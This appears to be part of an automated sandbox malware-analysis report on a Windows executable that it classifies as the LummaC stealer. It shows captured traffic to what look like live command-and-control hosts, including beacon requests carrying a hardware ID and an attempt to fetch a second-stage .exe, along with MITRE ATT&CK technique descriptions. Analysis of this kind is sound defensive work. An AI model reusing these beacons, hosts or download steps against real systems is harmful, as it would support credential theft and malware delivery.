2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: d0 63 43 4b 79 85 f6 86 87 bb a4 27 ee c4 5c af fc f0 09 ab 52 55 13 fc 94 52 80 dd ef 8d b8 7b d8 17 dc f9 dd f3 bd 95 5d 14 ec b5 ab ba dd 1c 6c 12 4e 55 62 b5 6f 7a 0a f2 b6 b6 b2 2c 36 63 b1 5e 97 85 3f 9d b2 d8 75 72 a2 07 ce b0 9c 77 9f c1 ed be 27 bc f2 b6 3e 8c 27 b9 74 f1 9a d0 b3 2e 67 e1 b9 89 58 84 df 41 3c 1e ef 94 66 a0 87 0e 4d e1 77 95 8a f9 6a cb 98 fa f3 a2 2f 8c 0b 48 70 bf 53 c3 f9 00 79 2b 96 fe 61 57 8a 6c fa f4 42 67 f0 50 51 a1 e3 8e 8c 51 d8 e9 7c e5 93 52 b8 36 2e ac c7 2f ab b6 be 53 a4 59 41 4b ab f4 a7 31 51 80 fa d7 f9 73 c2 bb 57 d0 94 ca ac bd 23 b3 44 95 fc af cf 0a ed f5 62 fb 23 39 11 41 a7 4e b2 cd aa 9d cf eb 15 b4 5e 23 7b b4 12 10 46 50 b0 e8 2a c4 e8 2b 0f 3b f5 d3 6d bc 5a 1e fb dc 0a 35 36 ac ca a7 15 4d 49 a9 13 Data Ascii: cCKy'\RUR{]lNUboz,6c^?urw'>'t.gXA<fMwj/HpSy+aWlBgPQQ\|R6./SYAK1QsW#Db#9AN^#{FP*+;mZ56MI
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: 39 25 e2 4c 22 c2 f0 18 b7 3c cc 76 a3 8e 9a 4f 32 97 3e b4 7e a9 94 a0 7c ec 0b f9 d8 17 e6 bb 7e 1b 25 ee c6 05 20 8e c2 1e 44 64 40 f0 86 fc a8 f3 d8 b1 ca 43 e3 7f 59 de 16 52 a5 c8 d0 65 48 b2 b6 14 91 31 c5 a9 a2 b7 78 df ed 69 49 aa 5c 55 5d 11 d7 a8 f8 e4 01 7a 9d ec 42 50 0c 29 7f ef 6a 31 15 fe 85 a5 c9 a5 dc 5a bd 44 cc ec b5 11 73 d8 a4 ff 4b a6 ae 22 af ef 28 47 8b d2 4f 2f 11 d8 79 60 6f 5e 4a f0 97 80 c5 47 b2 61 f7 7d 56 c3 db d8 c7 b6 cd d2 bf 7e bc f8 c5 7f fe de 24 6b 60 84 cd fc b7 ae fa 28 eb 4f f5 a3 3b 8e d5 47 91 20 a3 61 3e 98 fb 0a 17 f0 1c 1a 78 5c bb 50 2d 0e aa 02 4b 6c 8f 22 29 da da 10 45 a3 91 5d 5b a4 c2 7a 46 fb 66 ab 8b 4d 71 00 8c 43 4f f4 2f 5e fd 32 4e 88 ff 72 54 ff 85 9d b9 4f df e7 2c 34 88 e2 d3 05 d9 1d d7 b8 c1 Data Ascii: 9%L"<vO2>~\|~% Dd@CYReH1xiI\U]zBP)j1ZDsK"(GO/y`o^JGa}V~$k`(O;G a>x\P-Kl")E][zFfMqCO/^2NrTO,4
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: 11 b5 e2 4d fe a9 1b fa 4a 8d 46 2b ae 55 53 40 61 59 8a 0d cf 5b 65 3e 39 45 1e c9 f3 ff f7 bb 41 6b c8 4b ee c6 4b d0 75 95 db 30 61 6f 1e c6 2b df 63 44 3e 24 96 33 75 78 90 9b 6b 48 af e3 2e 8b ea 8c dd 29 7b e1 73 86 a1 6c 87 c3 a5 d6 31 af 41 67 a3 db 82 f7 c3 8e b0 5f 0e 73 67 c4 04 59 32 37 ea 15 5b e6 1d c0 17 2c ae 51 3f 28 68 a3 0d 3a 7f 06 94 82 cb e6 f4 5d 46 71 d7 02 1f ae 14 29 dc 07 91 ce bf 13 76 9c fc 1f 04 41 f1 06 ba af 82 76 64 45 92 3d b5 99 6c 67 6d 71 25 d7 7b 9f a4 52 87 5d 1a 73 23 3f 36 4e 19 b1 3b c0 42 b0 7f 5b 48 19 e2 e7 f2 d4 ff 48 67 c7 b8 d8 10 0d 7c 8a 4d 2d 87 17 39 cc 0f f7 ac f4 a0 e7 7a 74 a0 9a 0e 40 5f 9b ba ac 16 14 b7 3c d7 be e1 8b a4 9f a1 84 53 66 28 e6 77 d4 e5 d5 76 96 a7 20 30 5a fd 72 3b 7d 1e 8e c5 8a 5a Data Ascii: MJF+US@aY[e>9EAkKKu0ao+cD>$3uxkH.){sl1Ag_sgY27[,Q?(h:]Fq)vAvdE=lgmq%{R]s#?6N;B[HHg\|M-9zt@_<Sf(wv 0Zr;}Z
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: 9f d3 1d aa 14 75 57 df f2 81 53 78 5d 18 5f ea d2 29 f8 9e 8f a0 40 2c 86 a7 b3 12 37 cd 97 9b 7c 03 8a e4 61 e1 32 54 aa af a1 f3 f2 df 4e bb ba 54 84 2e 8f 18 5d e6 13 40 d5 70 ba 4e b1 7b 52 e1 e0 23 2b 44 1b c8 91 48 ae 2b c8 cf 37 8b f2 61 84 e4 25 a7 29 ce 2f c3 76 ac 72 fd a1 0d 41 86 d5 0a d0 68 61 9b ba f6 b6 80 cb a2 e0 1e c2 5a 81 22 8b 6a 14 cd ad 7d bf a9 23 d0 63 ba cf e0 6a f1 0e af b2 80 b1 89 71 2b 28 de 83 2b 7f 37 6c c7 7f 6a a1 0c 65 46 1d 89 8e 28 3a 89 d7 df c6 14 3a 50 ab df 73 56 55 44 72 78 45 cd 39 63 19 79 d4 8d fb 16 cd c1 57 5f c5 9e 42 3b 27 53 74 cf 1b 6e a4 93 bb 58 9a af eb c4 95 f0 c4 74 b3 c0 99 d9 4b 78 eb cd 81 c1 74 25 e9 02 4c 2e dd ba 49 cf 91 44 9e 3b 39 cd 63 1f 65 e1 ba 9a 83 94 e7 6d 9b b5 3d b8 32 83 81 b1 01 Data Ascii: uWSx]_)@,7\|a2TNT.]@pN{R#+DH+7a%)/vrAhaZ"j}#cjq+(+7ljeF(::PsVUDrxE9cyW_B;'StnXtKxt%L.ID;9cem=2
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: 6d 51 23 1d 38 98 b2 cb 39 42 14 31 ea 10 13 ee fb 2d d7 f1 84 a8 28 af 70 e4 c8 07 22 0a f3 a5 8f 26 cd c1 c6 7a 0d 34 88 d2 44 ac 00 a5 88 bd 61 85 1c 40 b6 ab 09 6e 03 28 09 d4 7c 6e 51 b2 5a f7 07 d3 72 44 cc 6e df c3 bb d6 71 d4 8b 63 da 83 51 ce 8d fa dd 0c 41 88 20 24 3a ec 30 9f e3 cf 3e b0 2e 7f cb d4 e8 13 12 15 3b 3d db 35 5d 78 07 e5 f5 37 81 4b ad 91 a9 c2 a6 5a 9c a2 64 7c bd d9 a2 9a 44 be 32 ca 83 1a 09 21 4e ea 07 9c 05 41 77 00 f1 b2 18 8e 2a 21 d2 f4 4a 69 8b d0 4e 33 13 41 15 e5 01 ac 6d 4a db 4a e2 c1 7a d3 82 31 39 d5 16 f9 24 1d 6c a7 17 30 33 9e 3a c8 55 82 01 0b 5b a6 fd a8 e3 79 ca 3d b7 59 3c 0f d4 5e ab a1 62 e3 8d c7 5b b8 48 ce c8 dc 28 5f 5c 75 d9 64 e4 59 75 5b a1 85 fb 9d 6c 91 7f b9 6f be bd a9 bf 7d 34 2c 51 60 d5 bd 78 Data Ascii: mQ#89B1-(p"&z4Da@n(\|nQZrDnqcQA $:0>.;=5]x7KZd\|D2!NAw*!JiN3AmJJz19$l03:U[y=Y<^b[H(_\udYu[lo}4,Q`x
2024-12-10 06:48:08 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:48:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lv43nmvotvu3pb7qnpk3pjp2ha; expires=Sat, 05-Apr-2025 00:34:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zICmL7yJVRF3VSmi9eDBh02GpH8nRJgVRl%2Fli4g4wN%2FFMscbxAEnB0ziXCM%2FzIDKW3QO7EOV8dphENGDUOXh%2FgyDtkANFDaXj95e8E57N2a46KlTDkJszrVpkKWM2hDY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb49929db38ccd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2053&min_rtt=2048&rtt_var=778&sent=380&recv=611&lost=0&retrans=0&sent_bytes=2830&recv_bytes=589452&delivery_rate=1398467&cwnd=195&unsent_bytes=0&cid=d040737e7b2cf5e9&ts=2246&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49771	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:48:10 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: se-blurry.biz
2024-12-10 06:48:10 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 26 68 77 69 64 3d 41 34 39 41 34 45 34 39 46 31 42 37 46 42 43 42 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 Data Ascii: act=get_message&ver=4.0&lid=H8NgCl--&j=&hwid=A49A4E49F1B7FBCBD599DAF6C95D6029
2024-12-10 06:48:10 UTC	1007	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:48:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fqt85p04cb9g77j72ha2c33rfi; expires=Sat, 05-Apr-2025 00:34:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nuWOrmQNHnc3JMqrcDEmb5TCB6UUbgDHA3Jq%2Fpy7GaDcKUhRlINrtCNCf90DeyxrePmsLaA3%2BmljXOyAh43CJ8w3IYmx%2BbgNaDRBoQdg%2FN85nrOKaKGXT3Fm26cIWU5M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb49a91d2b4240-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1637&rtt_var=672&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=974&delivery_rate=1562332&cwnd=243&unsent_bytes=0&cid=0cc805907aa60ec8&ts=810&x=0"
2024-12-10 06:48:10 UTC	122	IN	Data Raw: 37 34 0d 0a 73 7a 71 65 43 55 52 2b 53 72 70 47 61 73 63 6c 65 75 6a 69 39 70 6c 70 73 50 36 4f 58 71 62 76 37 76 45 4f 51 4f 43 61 41 6b 76 6f 51 62 78 38 5a 6b 52 6f 30 6a 49 65 74 31 5a 41 74 4d 32 71 74 67 37 52 6b 2b 73 73 30 6f 43 42 6e 53 41 6c 6c 63 59 74 42 2f 68 70 30 79 63 68 42 69 2b 59 61 6b 69 68 55 56 6a 53 30 74 71 37 44 4a 4c 45 76 69 50 37 0d 0a Data Ascii: 74szqeCUR+SrpGascleuji9plpsP6OXqbv7vEOQOCaAkvoQbx8ZkRo0jIet1ZAtM2qtg7Rk+ss0oCBnSAllcYtB/hp0ychBi+YakihUVjS0tq7DJLEviP7
2024-12-10 06:48:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49778	172.67.161.29	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:48:12 UTC	195	OUT	GET /LKSM.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: gamertool.eu
2024-12-10 06:48:13 UTC	832	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 06:48:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Content-Type-Options: nosniff Cache-Control: max-age=120 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fI9n5jHL0rtKVwcvxoPnEb2hbDhMjURHuf5WeEExpVVdxs7nK8TfSnj7%2BQ49Dya7OLnaOn8YXYTeZRLDJ9u6Q9PQQHVeJfIL7MRCyoNJInS3DBU8Bw5MvH7gUJFcQmM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb49b7cfd7440c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1579&rtt_var=597&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=809&delivery_rate=1825000&cwnd=252&unsent_bytes=0&cid=1dbfda9eece66905&ts=729&x=0"
2024-12-10 06:48:13 UTC	537	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-12-10 06:48:13 UTC	18	IN	Data Raw: 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: error page -->
2024-12-10 06:48:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:47:47
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\SC3sPWT51E.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SC3sPWT51E.exe"
Imagebase:	0x6a0000
File size:	1'461'248 bytes
MD5 hash:	7CB559130BBD743D4CDB0891749C5643
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:47:47
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00FD99FA Relevance: 13.8, Strings: 10, Instructions: 1301COMMON

Download Yara Rule

Strings

5&re, xrefs: 00FD9AD2
UTF-, xrefs: 00FD9E88
1729, xrefs: 00FD9B19
q, xrefs: 00FDA002
77&u, xrefs: 00FD9B25
1031, xrefs: 00FD9B50
0&re, xrefs: 00FD9AE0
"?pr, xrefs: 00FD9A9F
TCP&, xrefs: 00FD9AA7
74kr, xrefs: 00FD9D17

Memory Dump Source

Source File: 00000000.00000003.2334305887.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, Offset: 00FD6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_fd1000_SC3sPWT51E.jbxd

Similarity

API ID:
String ID: "?pr$0&re$1031$1729$5&re$74kr$77&u$TCP&$UTF-$q
API String ID: 0-2300536836
Opcode ID: aa47fe4797dfd3927f185d625a7dda2c97fdeca9fd583fff8dc423e550fafbe5
Instruction ID: 832d289c1058ddb869b3eb8d8e7d1d1a4b16a259816b92ff0cb6742d17818bf8
Opcode Fuzzy Hash: aa47fe4797dfd3927f185d625a7dda2c97fdeca9fd583fff8dc423e550fafbe5
Instruction Fuzzy Hash: 2862146281E3C15ED7239BF089692517FA3EE53324B1E42DFC0D18F6B3D194990AE366

Function 00FD99FA Relevance: 13.8, Strings: 10, Instructions: 1301COMMON

Download Yara Rule

Strings

74kr, xrefs: 00FD9D17
q, xrefs: 00FDA002
0&re, xrefs: 00FD9AE0
1729, xrefs: 00FD9B19
77&u, xrefs: 00FD9B25
"?pr, xrefs: 00FD9A9F
TCP&, xrefs: 00FD9AA7
5&re, xrefs: 00FD9AD2
1031, xrefs: 00FD9B50
UTF-, xrefs: 00FD9E88

Memory Dump Source

Source File: 00000000.00000003.2334305887.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, Offset: 00FD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_fd1000_SC3sPWT51E.jbxd

Similarity

API ID:
String ID: "?pr$0&re$1031$1729$5&re$74kr$77&u$TCP&$UTF-$q
API String ID: 0-2300536836
Opcode ID: aa47fe4797dfd3927f185d625a7dda2c97fdeca9fd583fff8dc423e550fafbe5
Instruction ID: 832d289c1058ddb869b3eb8d8e7d1d1a4b16a259816b92ff0cb6742d17818bf8
Opcode Fuzzy Hash: aa47fe4797dfd3927f185d625a7dda2c97fdeca9fd583fff8dc423e550fafbe5
Instruction Fuzzy Hash: 2862146281E3C15ED7239BF089692517FA3EE53324B1E42DFC0D18F6B3D194990AE366

Function 00FEF7BA Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

h, xrefs: 00FEF93F

Memory Dump Source

Source File: 00000000.00000003.2397375235.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, Offset: 00FE8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_fd1000_SC3sPWT51E.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 21327db57c1c6c986849a69e37e051454d6408ee9af220af8f13a200dc7aafdf
Instruction ID: 623895472d8b1364cec7ec01a28ff06c0979c9c9e10f19a41de86b650210c770
Opcode Fuzzy Hash: 21327db57c1c6c986849a69e37e051454d6408ee9af220af8f13a200dc7aafdf
Instruction Fuzzy Hash: 10E1DC6240E3C14FD7038BB88C696947FB1AE13228B1E46EBC4D5CF0E3D259595EE362

Function 00FEF7BA Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

h, xrefs: 00FEF93F

Memory Dump Source

Source File: 00000000.00000003.2397375235.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, Offset: 00FE4000, based on PE: false

Associated: 00000000.00000003.2375220847.0000000000FE4000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_fd1000_SC3sPWT51E.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 3200c16d70dfd441721f51e2016b4bb0e2f295d7f13b62e76772107d3dce04a8
Instruction ID: 623895472d8b1364cec7ec01a28ff06c0979c9c9e10f19a41de86b650210c770
Opcode Fuzzy Hash: 3200c16d70dfd441721f51e2016b4bb0e2f295d7f13b62e76772107d3dce04a8
Instruction Fuzzy Hash: 10E1DC6240E3C14FD7038BB88C696947FB1AE13228B1E46EBC4D5CF0E3D259595EE362

Function 00F85750 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2441823245.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F6A000, based on PE: false

Associated: 00000000.00000003.2441504379.0000000000F6A000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f6a000_SC3sPWT51E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac4508c8fcd8db1b5d525f52d9d30280998f4a6658751c08f472cd32a72b10e
Instruction ID: 7692adbed84e2b370708e53a67cc82a89b07433d60cc6157d523f0064c5abd7a
Opcode Fuzzy Hash: 3ac4508c8fcd8db1b5d525f52d9d30280998f4a6658751c08f472cd32a72b10e
Instruction Fuzzy Hash: 8FB19A6144E7C54FD7138BB04D7A491BFB0AD2361436E86DFC8C68F4A3E659884AE363

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SC3sPWT51E.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

